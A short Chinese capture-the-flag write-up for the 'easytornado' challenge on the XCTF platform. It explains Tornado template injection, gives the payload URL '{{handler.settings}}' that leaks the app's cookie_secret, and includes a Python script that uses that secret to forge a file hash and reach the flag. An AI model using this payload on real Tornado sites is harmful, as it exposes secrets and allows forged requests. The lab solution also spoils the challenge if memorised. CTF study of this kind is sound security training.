题目:攻防世界:easytornado
提示:学习 tornado 模板注入STTI,获取cookie_secret
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python
的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler
指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向
RequestHandler.application.settings了,这里面就是我们的一些环境变量
bash
通过模板注入方式我们可以构造获取cookie_secret的payload:
http://XXX/error?msg={{handler.settings}}
步骤
- 网站页面




- 并且发现url中传输了两个参数,一个是filename,另一个是filehash, 改下filename 试试 /fllllllllllllag

报错了,可以猜测不止需要filename,filehash也必须要,而且要满足 "md5(cookie_secret+md5(filename))"。 但是 cookie_secret在哪呢。
- 利用tornado框架渲染注入获取cookie_secret


- 生成fllllllllllllag的filehash
bash
import hashlib
cookie_secret = "d4c23be3-6ab1-40da-adc5-320376f1d4cb"
filename = "/fllllllllllllag"
md5file = hashlib.md5(filename.encode())
allmd5 = hashlib.md5()
allmd5.update((cookie_secret+md5file.hexdigest()).encode())
print(allmd5.hexdigest())

